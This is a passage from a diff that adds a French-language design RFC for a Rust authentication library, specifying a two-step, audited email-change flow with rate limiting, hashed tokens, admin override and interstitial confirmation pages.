| 111 | +#[sea_orm(table_name = "pending_email_changes")] | |
| 112 | +pub struct Model { | |
| 113 | + /// Unique identifier for the request. | |
| 114 | + #[sea_orm(primary_key)] | |
| 115 | + pub id: Uuid, | |
| 116 | + | |
| 117 | + /// User this request belongs to. | |
| 118 | + #[sea_orm(indexed)] | |
| 119 | + pub user_id: Uuid, | |
| 120 | + | |
| 121 | + /// Candidate address. Written to `users.email` only on confirmation. | |
| 122 | + pub new_email: String, | |
| 123 | + | |
| 124 | + /// SHA-256 hash of the confirmation token (sent to `new_email`). | |
| 125 | + #[sea_orm(unique, indexed)] | |
| 126 | + pub token_hash: String, | |
| 127 | + | |
| 128 | + /// SHA-256 hash of the report token (sent to the current address). | |
| 129 | + #[sea_orm(unique, indexed)] | |
| 130 | + pub report_token_hash: String, | |
| 131 | + | |
| 132 | + /// Expiration timestamp. | |
| 133 | + #[sea_orm(indexed)] | |
| 134 | + pub expires_at: DateTime<Utc>, | |
| 135 | + | |
| 136 | + /// Set when the change has been applied. `None` while pending. | |
| 137 | + pub used_at: Option<DateTime<Utc>>, | |
| 138 | + | |
| 139 | + /// Set when the current address owner flagged the request as suspicious. | |
| 140 | + /// Informational only — it never blocks the change. | |
| 141 | + pub reported_at: Option<DateTime<Utc>>, | |
| 142 | + | |
| 143 | + /// Creation timestamp. | |
| 144 | + pub created_at: DateTime<Utc>, | |
| 145 | +} | |
| 146 | + | |
| 147 | +impl Model { | |
| 148 | + /// Returns `true` once the expiration timestamp has passed. | |
| 149 | + pub fn is_expired(&self) -> bool { | |
| 150 | + Utc::now() > self.expires_at | |
| 151 | + } | |
| 152 | + | |
| 153 | + /// Returns `true` once the change has been applied. | |
| 154 | + pub fn is_used(&self) -> bool { | |
| 155 | + self.used_at.is_some() | |
| 156 | + } | |
| 157 | + | |
| 158 | + /// Returns `true` while the request can still be confirmed. | |
| 159 | + pub fn is_pending(&self) -> bool { | |
| 160 | + !self.is_used() && !self.is_expired() | |
| 161 | + } | |
| 162 | +} | |
| 163 | +``` | |
| 164 | + | |
| 165 | +`Relation::User` avec `on_delete = "Cascade"`, à l'identique de [`email_validation_token.rs`](../../crates/rustwarden-core/src/models/email_validation_token.rs) L54-70. | |
| 166 | + | |
| 167 | +### 3. `EmailChangeService` | |
| 168 | + | |
| 169 | +`crates/rustwarden-core/src/services/email_change_service.rs`, déclaré dans `services/mod.rs` (patron `email_validation_service` L22). | |
| 170 | + | |
| 171 | +```rust | |
| 172 | +/// Default: 3 email-change requests per user per hour. | |
| 173 | +const EMAIL_CHANGE_RATE_LIMIT_MAX: u32 = 3; | |
| 174 | +const EMAIL_CHANGE_RATE_LIMIT_WINDOW: StdDuration = StdDuration::from_secs(3600); | |
| 175 | + | |
| 176 | +/// Process-wide sliding-window limiter for email-change requests. | |
| 177 | +/// | |
| 178 | +/// Distinct from the password-reset and email-validation limiters so the three | |
| 179 | +/// flows keep separate budgets. | |
| 180 | +static EMAIL_CHANGE_LIMITER: OnceLock<RateLimitService> = OnceLock::new(); | |
| 181 | + | |
| 182 | +/// Two-step email change service. | |
| 183 | +/// | |
| 184 | +/// Nothing is written to `users.email` until the confirmation link mailed to | |
| 185 | +/// the candidate address is followed. A typo therefore expires harmlessly and | |
| 186 | +/// the account never loses access. | |
| 187 | +pub struct EmailChangeService { | |
| 188 | + email_config: EmailConfig, | |
| 189 | + /// Sliding-window rate limiter (shared abstraction, see [`RateLimitService`]). | |
| 190 | + rate_limiter: RateLimitService, | |
| 191 | + /// Optional translation backend. When `None`, emails fall back to | |
| 192 | + /// [`config::tasks::default_locale`](crate::config::tasks::default_locale). | |
| 193 | + i18n: Option<Arc<I18nService>>, | |
| 194 | +} | |
| 195 | + | |
| 196 | +impl EmailChangeService { | |
| 197 | + /// Create a service using the process-wide rate limiter. | |
| 198 | + pub fn new(email_config: EmailConfig) -> Self { /* ... */ } | |
| 199 | + | |
| 200 | + /// Attach the translation service so emails honour the recipient locale. | |
| 201 | + pub fn with_i18n(self, i18n: Arc<I18nService>) -> Self { /* ... */ } | |
| 202 | + | |
| 203 | + /// Build a service around an injected limiter (unit tests; avoids the | |
| 204 | + /// process [`OnceLock`]). | |
| 205 | + #[cfg(test)] | |
| 206 | + pub(crate) fn new_with_limiter( | |
| 207 | + email_config: EmailConfig, | |
| 208 | + rate_limiter: RateLimitService, | |
| 209 | + ) -> Self { /* ... */ } | |
| 210 | + | |
| 211 | + /// Open an email-change request for an authenticated user. | |
| 212 | + /// | |
| 213 | + /// Re-authentication is mandatory: a stolen session alone cannot move the | |
| 214 | + /// account's identity. `current_password` is checked through | |
| 215 | + /// [`AuthService::verify_credentials`](crate::services::auth_service::AuthService::verify_credentials), | |
| 216 | + /// which runs bcrypt in constant time. | |
| 217 | + /// | |
| 218 | + /// On success two emails are queued: | |
| 219 | + /// - a confirmation link to `new_email`; | |
| 220 | + /// - a notice plus a report link to the account's **current** address. | |
| 221 | + /// | |
| 222 | + /// `users.email`, `email_verified` and `email_verified_at` are left | |
| 223 | + /// untouched. | |
| 224 | + /// | |
| 225 | + /// # Errors | |
| 226 | + /// | |
| 227 | + /// - [`AppError::TooManyRequests`] — more than 3 requests for this user | |
| 228 | + /// within the hour. | |
| 229 | + /// - [`AppError::InvalidCredentials`] — wrong `current_password`. | |
| 230 | + /// - [`AppError::Validation`] — malformed address, address identical to the | |
| 231 | + /// current one, or address already taken by another account. | |
| 232 | + /// - [`AppError::NotFound`] — unknown `user_id`. | |
| 233 | + pub async fn request_change( | |
| 234 | + &self, | |
| 235 | + db: &DatabaseConnection, | |
| 236 | + user_id: Uuid, | |
| 237 | + new_email: &str, | |
| 238 | + current_password: &str, | |
| 239 | + ) -> Result<(), AppError> { /* ... */ } | |
| 240 | + | |
| 241 | + /// Apply a pending change from its confirmation token. | |
| 242 | + /// | |
| 243 | + /// Confirming from the page the emailed link opens **is** the proof of | |
| 244 | + /// possession (see the RFC's interstitial-page section), so the address lands | |
| 245 | + /// already verified: `users.email = new_email`, `email_verified = true`, | |
| 246 | + /// `email_verified_at = now()`. Uniqueness is re-checked here because | |
| 247 | + /// another account may have claimed the address in the meantime. | |
| 248 | + /// | |
| 249 | + /// All refresh tokens are revoked (same contract as | |
| 250 | + /// [`UserService::change_password_direct`](crate::services::user_service::UserService::change_password_direct)), | |
| 251 | + /// and any pending password-change request is dropped through | |
| 252 | + /// [`PasswordChangeService::invalidate_on_email_change`](crate::services::password_change_service::PasswordChangeService::invalidate_on_email_change): | |
| 253 | + /// a confirmation link mailed to the previous address must never be usable | |
| 254 | + /// once that address no longer belongs to the account. | |
| 255 | + /// | |
| 256 | + /// Hooks fired here, best-effort: | |
| 257 | + /// [`RustwardenHooks::on_email_verified`] (the click *is* the proof of | |
| 258 | + /// possession) and [`RustwardenHooks::on_audit_event`] with kind | |
| 259 | + /// `user.email_changed`. | |
| 260 | + /// | |
| 261 | + /// Returns the user id whose address changed. | |
| 262 | + /// | |
| 263 | + /// # Errors | |
| 264 | + /// | |
| 265 | + /// - [`AppError::Validation`] — unknown, expired or already-used token, or | |
| 266 | + /// the candidate address is no longer available. | |
| 267 | + /// - [`AppError::NotFound`] — the user was deleted since the request. | |
| 268 | + pub async fn confirm_change( | |
| 269 | + &self, | |
| 270 | + db: &DatabaseConnection, | |
| 271 | + token: &str, | |
| 272 | + hooks: Option<&Arc<dyn RustwardenHooks>>, | |
| 273 | + ) -> Result<Uuid, AppError> { /* ... */ } | |
| 274 | + | |
| 275 | + /// Administrative override: write `new_email` without confirmation. | |
| 276 | + /// | |
| 277 | + /// Operational recourse for the one dead end the two-step flow cannot | |
| 278 | + /// solve on its own: a user who lost **both** the password and the access | |
| 279 | + /// to the account's current mailbox (see the RFC's scenarios). The v1 | |
| 280 | + /// capability — an admin fixing an address through | |
| 281 | + /// `PUT /admin/users/{id}` — is preserved, but it becomes an **explicit, | |
| 282 | + /// audited operation** instead of a side effect of | |
| 283 | + /// [`UserService::update_profile`](crate::services::user_service::UserService::update_profile). | |
| 284 | + /// | |
| 285 | + /// Contract: | |
| 286 | + /// - `actor_id` **must** carry the `admin` role | |
| 287 | + /// ([`UserService::get_user_roles`](crate::services::user_service::UserService::get_user_roles)); | |
| 288 | + /// otherwise [`AppError::Forbidden`] and nothing is written. | |
| 289 | + /// - `users.email = new_email`, `email_verified = true`, | |
| 290 | + /// `email_verified_at = now()` — the operator vouches for the address | |
| 291 | + /// after an out-of-band identity check. | |
| 292 | + /// - Every pending request of the target user is consumed, so a stale | |
| 293 | + /// confirmation link cannot resurrect the previous candidate address. | |
| 294 | + /// - All refresh tokens of the **target** account are revoked, exactly as | |
| 295 | + /// in [`Self::confirm_change`]; the acting administrator's own sessions | |
| 296 | + /// are untouched. | |
| 297 | + /// - An `audit_logs` row is written (`action = "email_changed_by_admin"`, | |
| 298 | + /// `level = "WARN"`, `user_id = actor_id`, `target_user_id = user_id`, | |
| 299 | + /// masked addresses) and [`RustwardenHooks::on_audit_event`] is emitted | |
| 300 | + /// with kind `user.email_changed_by_admin`. | |
| 301 | + /// - Both mailboxes are notified: the previous address gets a notice, the | |
| 302 | + /// new one gets a confirmation of the operator-driven change. Neither | |
| 303 | + /// mail carries an action link — there is nothing left to confirm. | |
| 304 | + /// | |
| 305 | + /// No rate limit and no password check: authorisation is the admin role, | |
| 306 | + /// enforced by the caller's route middleware **and** re-checked here. | |
| 307 | + /// | |
| 308 | + /// # Errors | |
| 309 | + /// | |
| 310 | + /// - [`AppError::Forbidden`] — `actor_id` is not an administrator. | |
| 311 | + /// - [`AppError::Validation`] — malformed address, or address already | |
| 312 | + /// taken by another account. | |
| 313 | + /// - [`AppError::NotFound`] — unknown `actor_id` or unknown `user_id`. | |
| 314 | + pub async fn admin_force_change( | |
| 315 | + &self, | |
| 316 | + db: &DatabaseConnection, | |
| 317 | + actor_id: Uuid, | |
| 318 | + user_id: Uuid, | |
| 319 | + new_email: &str, | |
| 320 | + hooks: Option<&Arc<dyn RustwardenHooks>>, | |
| 321 | + ) -> Result<(), AppError> { /* ... */ } | |
| 322 | + | |
| 323 | + /// Record that the current address owner flagged a request as suspicious. | |
| 324 | + /// | |
| 325 | + /// Writes an `audit_logs` row, emits | |
| 326 | + /// [`RustwardenHooks::on_audit_event`] with kind `user.email_change_reported` | |
| 327 | + /// and queues an alert to every administrator. | |
| 328 | + /// | |
| 329 | + /// **This never blocks the change.** A report is a signal for operators, | |
| 330 | + /// not an authorisation gate: turning it into one would hand any reader of | |
| 331 | + /// the old mailbox a denial-of-service lever over the account owner. | |
| 332 | + /// | |
| 333 | + /// Idempotent: a request already reported returns `Ok` without re-notifying. | |
| 334 | + /// | |
| 335 | + /// # Errors | |
| 336 | + /// | |
| 337 | + /// - [`AppError::Validation`] — unknown report token. | |
| 338 | + pub async fn report_suspicious( | |
| 339 | + &self, | |
| 340 | + db: &DatabaseConnection, | |
| 341 | + report_token: &str, | |
| 342 | + hooks: Option<&Arc<dyn RustwardenHooks>>, | |
| 343 | + ) -> Result<Uuid, AppError> { /* ... */ } | |
| 344 | + | |
| 345 | + /// Hard-delete rows expired for longer than | |
| 346 | + /// `PENDING_EMAIL_CHANGE_RETENTION_DAYS` (30 days, a compile-time | |
| 347 | + /// constant — no environment variable). | |
| 348 | + /// | |
| 349 | + /// Returns the number of deleted rows. Called by | |
| 350 | + /// [`PendingEmailChangeCleanupProcessor`](crate::tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor), | |
| 351 | + /// and public so a consumer can drive it from its own cron instead. **The | |
| 352 | + /// framework starts nothing by itself**: the consumer must call | |
| 353 | + /// `.start()` on the processor (see the RFC's retention section). | |
| 354 | + pub async fn cleanup_expired(db: &DatabaseConnection) -> Result<u64, AppError> { /* ... */ } | |
| 355 | + | |
| 356 | + /// Hash a token using SHA-256. | |
| 357 | + fn hash_token(token: &str) -> String { /* ... */ } | |
| 358 | + | |
| 359 | + /// Mark every pending request of this user as consumed. | |
| 360 | + async fn invalidate_previous_requests( | |
| 361 | + &self, | |
| 362 | + db: &DatabaseConnection, | |
| 363 | + user_id: Uuid, | |
| 364 | + ) -> Result<(), AppError> { /* ... */ } | |
| 365 | +} | |
| 366 | +``` | |
| 367 | + | |
| 368 | +#### `request_change` — séquence | |
| 369 | + | |
| 370 | +1. `self.rate_limiter.check_sliding_window(&format!("email_change:{user_id}"), EMAIL_CHANGE_RATE_LIMIT_MAX, EMAIL_CHANGE_RATE_LIMIT_WINDOW)?` — check+record atomique, patron [`password_reset_service.rs`](../../crates/rustwarden-core/src/services/password_reset_service.rs) L110-114. La clé est le **`user_id`** (pas l'adresse cible) : l'abus à limiter est « un compte qui spamme des boîtes tierces ». | |
| 371 | +2. `UserService::get_user_by_id(db, user_id)?` → `AppError::NotFound` sinon. | |
| 372 | +3. `AuthService::verify_credentials(db, &user.email, current_password).await?`. L'identifiant passé est l'adresse **courante** : elle contient `'@'`, donc la branche e-mail de `verify_credentials` ([`auth_service.rs`](../../crates/rustwarden-core/src/services/auth_service.rs) L55-65) est empruntée de façon déterministe, y compris pour les usernames hérités contenant un `@`. `verify_credentials` — et non `authenticate_user` — est utilisé volontairement : la politique `validation_email_required` de la RFC 0040 n'a pas à s'appliquer ici. | |
| 373 | +4. Normalisation : `let trimmed = new_email.trim();` | |
| 374 | + - `!trimmed.contains('@') || !trimmed.contains('.')` → `AppError::Validation("Invalid email format")` (message **identique** à celui de `update_profile` aujourd'hui, `user_service.rs` L280). | |
| 375 | + - `trimmed == user.email` → `AppError::Validation("New email address is identical to the current one")`. | |
| 376 | + - `UserService::get_user_by_email(db, trimmed)?` renvoie un autre utilisateur → `AppError::Validation(format!("Email '{trimmed}' already exists"))`. | |
| 377 | +5. `self.invalidate_previous_requests(db, user_id).await?` — une demande active à la fois. Dans la foulée, **purge opportuniste** des lignes de cet utilisateur expirées depuis plus de `PENDING_EMAIL_CHANGE_RETENTION_DAYS` (§ « Rétention et tâche de fond »). | |
| 378 | +6. Deux tokens `Uuid::new_v4().to_string()`, hashés par `Self::hash_token` (SHA-256 hex, patron `email_validation_service.rs` L368-372). `expires_at = Utc::now() + Duration::hours(config::tasks::email_validation_expiration_hours())`. | |
| 379 | +7. `INSERT` de la ligne `pending_email_changes`. | |
| 380 | +8. Deux `EmailQueueService::enqueue` (signature à 9 arguments, [`email_queue_service.rs`](../../crates/rustwarden-core/src/services/email_queue_service.rs) L41-51) : | |
| 381 | + - `to_email = trimmed`, type `"email_change_validation"`, URL `{email_base_url}/api/v1/auth/email-change/confirm/{token}` ; | |
| 382 | + - `to_email = user.email`, type `"email_change_notice"`, URL `{email_base_url}/api/v1/auth/email-change/report/{report_token}`, **plus** l'adresse candidate affichée **masquée** (`mask_email`, aujourd'hui `user_service.rs` L16, à déplacer en `pub(crate)` dans un module partagé). | |
| 383 | + | |
| 384 | + Les deux URL sont des `GET` qui **rendent une page** et n'exécutent rien (§ « Page interstitielle ») : le texte des mails doit donc annoncer « cliquez, puis confirmez sur la page qui s'ouvre », et non « cliquez pour confirmer ». | |
| 385 | + | |
| 386 | +**Contrat sur SMTP.** Contrairement à la v1, l'échec d'enqueue **n'est pas** best-effort : sans mail, la demande est inutilisable. Si `EmailConfig::from_env()` échoue, le handler ne construit même pas le service et renvoie `AppError::Config`. Si un `enqueue` échoue après l'`INSERT`, l'erreur remonte ; la ligne orpheline expire en 24 h et ne modifie rien. Ce choix est sûr précisément parce que **rien n'a été écrit dans `users`**. | |
| 387 | + | |
| 388 | +#### `confirm_change` — séquence | |
| 389 | + | |
| 390 | +1. `let token_hash = Self::hash_token(token);` puis lookup par `token_hash`. Absent → `AppError::Validation("Invalid email-change token")`. | |
| 391 | +2. `used_at.is_some()` → `Validation("This email-change link has already been used")`. | |
| 392 | +3. `is_expired()` → `Validation("This email-change link has expired")`. | |
| 393 | +4. `reported_at.is_some()` → **on continue**. Le signalement ne bloque pas (§ dédiée). | |
| 394 | +5. Re-contrôle d'unicité : `UserService::get_user_by_email(db, &row.new_email)?`. Si un **autre** utilisateur la détient → `Validation("This email address is no longer available. Request the change again with a different address.")`, et la ligne **n'est pas** marquée `used_at` (la demande reste utilisable si l'adresse se libère avant expiration). Filet de sécurité : `users.email` porte une contrainte `UNIQUE` en base ([`m20260305_000001_initial_schema.rs`](../../crates/rustwarden-core/src/migrations/m20260305_000001_initial_schema.rs) L25-30) ; une violation concurrente renvoyée par SeaORM doit être traduite en ce même `Validation` et **jamais** propagée en `AppError::Database` (500). | |
| 395 | +6. `UPDATE users` : `email = new_email`, `email_verified = true`, `email_verified_at = Some(now)`, `updated_at = now`. | |
| 396 | +7. `UPDATE pending_email_changes` : `used_at = Some(now)`. | |
| 397 | +8. `RefreshTokenService::revoke_all_tokens_for_user(db, user_id).await?` ([`refresh_token_service.rs`](../../crates/rustwarden-core/src/services/refresh_token_service.rs) L354-380). Même politique que `change_password_direct` (`user_service.rs` L678) et `admin_reset_password` (L631) : l'identité de connexion vient de changer, toutes les sessions repassent par l'authentification. | |
| 398 | +9. `PasswordChangeService::invalidate_on_email_change(db, user_id).await` ([`password_change_service.rs`](../../crates/rustwarden-core/src/services/password_change_service.rs) L331-357) — **tranché le 2026-09-19 : l'appel migre de l'UI vers le core**. Il était jusqu'ici émis par `rustwarden-ui` au moment de l'édition du profil (`settings/profile.rs` L55-68), c'est-à-dire au moment où la v1 écrivait l'adresse. Avec la v2, **l'UI n'est plus dans la boucle** à l'instant où l'adresse change réellement : le clic sur le lien de confirmation atterrit dans une route du core, souvent dans un autre navigateur que celui de la session qui a ouvert la demande. Laisser l'appel côté handler UI reviendrait donc à le perdre silencieusement — une demande de changement de mot de passe pendante, dont le lien a été envoyé à l'**ancienne** adresse, resterait confirmable après que cette adresse a cessé d'appartenir au compte. Erreur seulement loguée (`tracing::warn!`) : l'échec de la purge ne doit pas annuler un changement d'adresse déjà écrit. | |
| 399 | +10. Ligne `audit_logs` (`action = "email_changed"`, `level = "INFO"`, message avec adresses **masquées**), patron [`auth_logging.rs`](../../crates/rustwarden-core/src/services/auth_logging.rs) L34-48. | |
| 400 | +11. Hooks, **dispatchés depuis le service** (patron `AuthLoggingService`, qui écrit sa ligne d'audit *et* émet son `AuditEvent` dans la même méthode — `auth_logging.rs` L25-64), best-effort, erreurs seulement loguées. **Tranché le 2026-09-19** : dispatch côté service et non côté handler, pour que tout consommateur headless qui monte sa propre route de confirmation (cf. § Routes, contrainte headless) reçoive les mêmes événements sans avoir à les ré-émettre : | |
| 401 | + - `hooks.on_email_verified(db, user_id)` — l'ouverture du lien **suivie de la confirmation sur la page** est une preuve de possession, sémantiquement identique (et même légèrement plus forte, puisqu'elle exige une action humaine) au chemin `verify_email` ([`auth/handlers.rs`](../../crates/rustwarden-core/src/auth/handlers.rs) L1221-1225). L'élargissement du contrat du hook est **assumé et documenté** : il signifie désormais « l'adresse du compte est prouvée à cet instant », quelle que soit la porte de preuve (validation initiale ou changement confirmé). Aucun consommateur existant ne casse : le hook était déjà émis après une preuve de possession, il l'est simplement sur un second chemin. | |
| 402 | + - `hooks.on_audit_event(db, AuditEvent { kind: "user.email_changed", actor_id: Some(user_id), target: Some(("user", user_id)), metadata })` — acteur et cible sont le même compte sur ce chemin libre-service, mais la cible est **nommée quand même**, pour qu'un consommateur qui route sur `target` voie ce chemin comme il voit `user.email_changed_by_admin` (cf. § Couverture réelle) ([`hooks.rs`](../../crates/rustwarden-core/src/hooks.rs) L38-48 pour la struct, L251-257 pour la méthode). | |
| 403 | + | |
| 404 | +#### `report_suspicious` — séquence | |
| 405 | + | |
| 406 | +1. Lookup par `report_token_hash`. Absent → `Validation("Invalid report token")`. | |
| 407 | +2. `reported_at.is_some()` → `Ok(user_id)` immédiat, **sans** ré-envoi de mail. Cette idempotence reste nécessaire même avec la page interstitielle : un double clic sur le bouton, un rafraîchissement de la page de résultat ou un renvoi de formulaire par le navigateur produisent deux `POST`. | |
| 408 | +3. Sinon `reported_at = Some(now)`, même si la demande est expirée ou déjà consommée : le signal garde sa valeur pour l'exploitant. | |
| 409 | +4. Ligne `audit_logs` : `action = "email_change_reported"`, `level = "WARN"`, `target_user_id = Some(user_id)`. | |
| 410 | +5. `hooks.on_audit_event(db, AuditEvent { kind: "user.email_change_reported", .. })`. | |
| 411 | +6. `UserService::get_all_admin_users(db)?` (`user_service.rs` L467-492) puis un `enqueue` par administrateur, type `"email_change_reported"`. Patron de notification admin existant : `crates/rustwarden-ui/src/handlers/user_handler.rs` L182-198. | |
| 412 | + | |
| 413 | +#### Pourquoi le signalement ne bloque pas | |
| 414 | + | |
| 415 | +Décision explicite du mainteneur, et elle se défend : | |
| 416 | + | |
| 417 | +- **Un lien de signalement bloquant est une arme de déni de service.** Toute personne qui lit l'ancienne boîte — collègue, ex-conjoint, employeur sur une adresse pro, passerelle anti-phishing qui pré-charge les URL — pourrait geler le changement du **titulaire légitime**, alors que celui-ci vient de prouver qu'il connaît le mot de passe. | |
| 418 | +- **Le cas d'usage dominant est précisément « je n'ai plus accès à l'ancienne boîte »** (voir § scénarios). Bloquer sur une action de l'ancienne boîte reviendrait à en faire un second facteur obligatoire, ce qu'elle n'est pas. | |
| 419 | +- **Le blocage réel existe déjà en amont** : le mot de passe. Le signalement couvre le scénario « mot de passe compromis », et dans ce scénario la bonne réponse opératoire est l'intervention admin (révocation, reset), pas un verrou automatique posé par un lien cliquable. | |
| 420 | +- **La pré-lecture automatique des liens rendrait le blocage non fiable** : une passerelle qui `GET` le lien de signalement déclencherait le verrou sans intention humaine. Avec un signalement non bloquant, le pire cas d'une pré-lecture est une alerte admin en faux positif — coût nul. (Depuis la décision du 2026-09-19, le signalement passe de toute façon par une page interstitielle et un `POST` — cf. § Routes — donc la pré-lecture ne déclenche plus rien du tout ; l'argument reste comme défense en profondeur.) | |
| 421 | + | |
| 422 | +#### `admin_force_change` — séquence et garde-fous | |
| 423 | + | |
| 424 | +**Tranché le 2026-09-19 : le recours administrateur est une méthode dédiée, pas un retour discret de l'écriture directe dans `update_profile`.** | |
| 425 | + | |
| 426 | +Le raisonnement : la v1 permettait à un opérateur de corriger une adresse via `PUT /admin/users/{id}` → `update_profile`. Cette RFC rend `update_profile` fail-loud sur tout changement d'adresse (§ 5), ce qui **supprimerait** la capacité opérationnelle si rien ne la remplaçait — or elle est indispensable au seul scénario que le flux en deux temps ne peut pas résoudre (mot de passe **et** ancienne boîte perdus, cf. § Scénarios). On la préserve donc, mais en la rendant **explicite, autorisée et auditée** au lieu d'un effet de bord d'une méthode de profil. | |
| 427 | + | |
| 428 | +1. `UserService::get_user_roles(db, actor_id).await?` (`user_service.rs` L184-207) ; si `"admin"` n'y figure pas → `AppError::Forbidden`, **rien n'est écrit, aucun mail**. La vérification est faite **dans le service**, en plus du middleware de route du consommateur : un appel headless direct au service ne doit pas court-circuiter l'autorisation. Acteur inconnu → `AppError::NotFound`. | |
| 429 | +2. `UserService::get_user_by_id(db, user_id)?` → `AppError::NotFound` sinon. Auto-ciblage (`actor_id == user_id`) **autorisé** : un admin qui change sa propre adresse reste un admin agissant en tant qu'admin, et la trace d'audit le montre. | |
| 430 | +3. Normalisation et contrôles identiques à `request_change` (format, unicité) — **sauf** le contrôle « adresse identique à l'actuelle », qui devient un no-op silencieux `Ok(())` : `PUT /admin/users/{id}` renvoie tous les champs du formulaire, un écho de l'adresse courante ne doit pas échouer. | |
| 431 | +4. `invalidate_previous_requests(db, user_id)` : toute demande pendante de la cible est consommée. Sans cela, un lien de confirmation encore valide pourrait, après coup, réécrire l'adresse que l'opérateur vient de poser. | |
| 432 | +5. `UPDATE users` : `email = new_email`, `email_verified = true`, `email_verified_at = Some(now)`, `updated_at = now`. Le flag vérifié est posé parce que l'opérateur **engage sa vérification hors bande** ; c'est exactement ce que fait déjà `admin_reset_password` avec le mot de passe (`user_service.rs` L613-635). | |
| 433 | +6. `RefreshTokenService::revoke_all_tokens_for_user(db, user_id)` — sessions de la **cible** uniquement. Si l'opérateur intervient précisément parce que le compte est compromis, laisser vivre les sessions existantes viderait l'opération de son sens. | |
| 434 | +7. `PasswordChangeService::invalidate_on_email_change(db, user_id)` — même motif qu'en `confirm_change`. | |
| 435 | +8. Ligne `audit_logs` : `action = "email_changed_by_admin"`, `level = "WARN"` (et non `INFO` : une écriture d'identité sans preuve de possession mérite d'être remontée), `user_id = Some(actor_id)`, `target_user_id = Some(user_id)`, message avec adresses **masquées**. | |
| 436 | +9. `hooks.on_audit_event(db, AuditEvent { kind: "user.email_changed_by_admin", actor_id: Some(actor_id), target: Some(("user", user_id)), metadata })`. **`on_email_verified` n'est pas émis** : il n'y a eu aucune preuve de possession de l'adresse par son titulaire, et le contrat du hook (« l'adresse est prouvée ») serait faux. C'est la différence de fond avec `confirm_change`. | |
| 437 | +10. Deux `enqueue`, sans lien d'action (il n'y a plus rien à confirmer) : un avis à l'**ancienne** adresse (« votre adresse de connexion a été modifiée par un administrateur ») et un avis à la **nouvelle**. Type de queue `"email_change_by_admin"`. Contrairement à `request_change`, l'échec d'enqueue est ici **best-effort** et seulement logué : l'écriture est déjà faite et l'opérateur, contrairement à l'utilisateur, a un retour synchrone de l'opération. | |
| 438 | + | |
| 439 | +Ce que la méthode **ne fait pas** : aucun rate limit (l'autorisation est le rôle, pas un budget), aucune vérification du mot de passe de l'acteur (le middleware d'admin du consommateur décide de sa propre politique de ré-authentification), aucune restauration possible en un clic — un retour arrière est un second `admin_force_change`, tracé comme tel. | |
| 440 | + | |
| 441 | +### 4. Routes | |
| 442 | + | |
| 443 | +Toutes sur le **canal machine** ([`auth/routes.rs`](../../crates/rustwarden-core/src/auth/routes.rs), monté via `merge_machine_routes`, jamais derrière la couche CSRF — cf. rustdoc L11-23). | |
| 444 | + | |
| 445 | +| Méthode | Chemin | Auth | Groupe de routeur | | |
| 446 | +|---|---|---|---| | |
| 447 | +| `POST` | `/api/v1/auth/email-change` | `AuthUser` (Bearer) | `limited` | | |
| 448 | +| `GET` | `/api/v1/auth/email-change/confirm/{token}` | public (lien de mail) | `unlimited` | | |
| 449 | +| `POST` | `/api/v1/auth/email-change/confirm/{token}` | public (soumission du formulaire) | `unlimited` | | |
| 450 | +| `GET` | `/api/v1/auth/email-change/report/{token}` | public (lien de mail) | `unlimited` | | |
| 451 | +| `POST` | `/api/v1/auth/email-change/report/{token}` | public (soumission du formulaire) | `unlimited` | | |
| 452 | + | |
| 453 | +Corps du `POST /email-change` : `{ "new_email": "...", "current_password": "..." }`. Réponse `200` `{ "message": "...", "pending_email": "<masqué>" }`. | |
| 454 | + | |
| 455 | +#### Page interstitielle : `GET` → bouton → `POST` sur les **deux** liens | |
| 456 | + | |
| 457 | +**Tranché le 2026-09-19 : aucun `GET` n'a d'effet de bord.** Les deux liens envoyés par e-mail — confirmation **et** signalement — pointent vers un `GET` qui se contente de **rendre une page HTML contenant un formulaire `POST`** ; c'est le clic humain sur le bouton de cette page qui appelle le service. D'où quatre routes au lieu de deux. | |
| 458 | + | |
| 459 | +| Route | Effet | | |
| 460 | +|---|---| | |
| 461 | +| `GET .../confirm/{token}` | Rend la page « Confirmer le changement d'adresse ». **Aucune écriture.** La demande n'est **pas** consommée, `users.email` n'est pas touché. | | |
| 462 | +| `POST .../confirm/{token}` | Appelle `EmailChangeService::confirm_change` et rend la page de résultat. | | |
| 463 | +| `GET .../report/{token}` | Rend la page « Signaler cette demande ». **Aucune écriture.** `reported_at` reste `NULL`. | | |
| 464 | +| `POST .../report/{token}` | Appelle `EmailChangeService::report_suspicious` et rend la page de résultat. | | |
| 465 | + | |
| 466 | +Motif : **aucun préchargement de passerelle anti-phishing ne peut déclencher l'action**. Les passerelles de sécurité mail (Defender, Proofpoint, Barracuda…) et les clients qui génèrent un aperçu de lien émettent des `GET`, jamais des `POST` de formulaire. Le flux existant `verify-email/{token}` reste, lui, un `GET` agissant — c'est une **dette connue et non traitée ici** (elle ne relève pas de cette RFC), mais le nouveau flux ne la réplique pas : le changement d'adresse écrit l'identité de connexion du compte, il mérite une preuve d'intention humaine et pas seulement une preuve de joignabilité de la boîte. | |
| 467 | + | |
| 468 | +Le `GET` du lien de confirmation **pré-valide quand même le token** pour afficher un message utile (« ce lien a expiré », « ce lien a déjà été utilisé ») ; cette lecture est en lecture seule. L'idempotence de `report_suspicious` (§ dédiée) reste implémentée : elle ne protège plus d'un préchargement, mais d'un double clic ou d'un rafraîchissement de page. | |
| 469 | + | |
| 470 | +**Pas de couche CSRF, et ce n'est pas un trou** : ces routes vivent sur le canal machine (`merge_machine_routes`), hors CSRF par construction. Un `POST` inter-site forgé n'apporte rien à un attaquant, puisqu'il lui faudrait **déjà connaître le token** (UUID v4, 122 bits, envoyé dans une boîte qu'il ne lit pas) — et s'il le connaît, il peut appeler la route directement. | |
| 471 | + | |
| 472 | +#### Contrainte headless : la page ne dépend ni d'Askama ni de `rustwarden-ui` | |
| 473 | + | |
| 474 | +`rustwarden-core` ne doit **jamais** exiger une UI pour fonctionner. La page interstitielle et la page de résultat sont donc du **HTML minimal autoportant, construit dans le handler du core** : | |
| 475 | + | |
| 476 | +- aucune dépendance à `rustwarden-ui` (qui est optionnel et peut ne pas être monté) ; | |
| 477 | +- aucun template Askama, aucun fichier dans `templates/`, donc rien à charger depuis le disque au runtime et aucune erreur `AppError::Template` possible sur ce chemin ; | |
| 478 | +- un `String` HTML construit par `format!` dans le handler, renvoyé en `Html<String>` avec `Content-Type: text/html; charset=utf-8` ; structure minimale (`<!DOCTYPE html>`, un titre, un paragraphe, un `<form method="post" action="…">` avec un unique `<button>`), style inline réduit au strict lisible, **aucun JavaScript**, **aucune ressource externe** (pas de CSS ni de police distante — la page doit s'afficher correctement dans un navigateur sans réseau vers le CDN et ne doit pas violer la CSP du consommateur) ; | |
